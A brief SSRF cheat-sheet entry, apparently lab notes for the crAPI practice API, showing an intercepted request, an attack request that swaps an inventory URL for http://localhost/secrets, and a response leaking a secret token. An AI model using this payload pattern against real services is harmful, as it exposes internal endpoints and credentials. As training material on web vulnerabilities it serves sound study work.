SSRF
In Band
# Intercepted request
POST api/v1/store/products
headers…
{"inventory":"http://store.com/api/v3/inventory/item/12345"}
# Attack
POST api/v1/store/products
headers…
{"inventory":"§http://localhost/secrets§"}
# Response
HTTP/1.1 200 OK
headers...
{"secret_token":"crapi-admin"}Blind



Last updated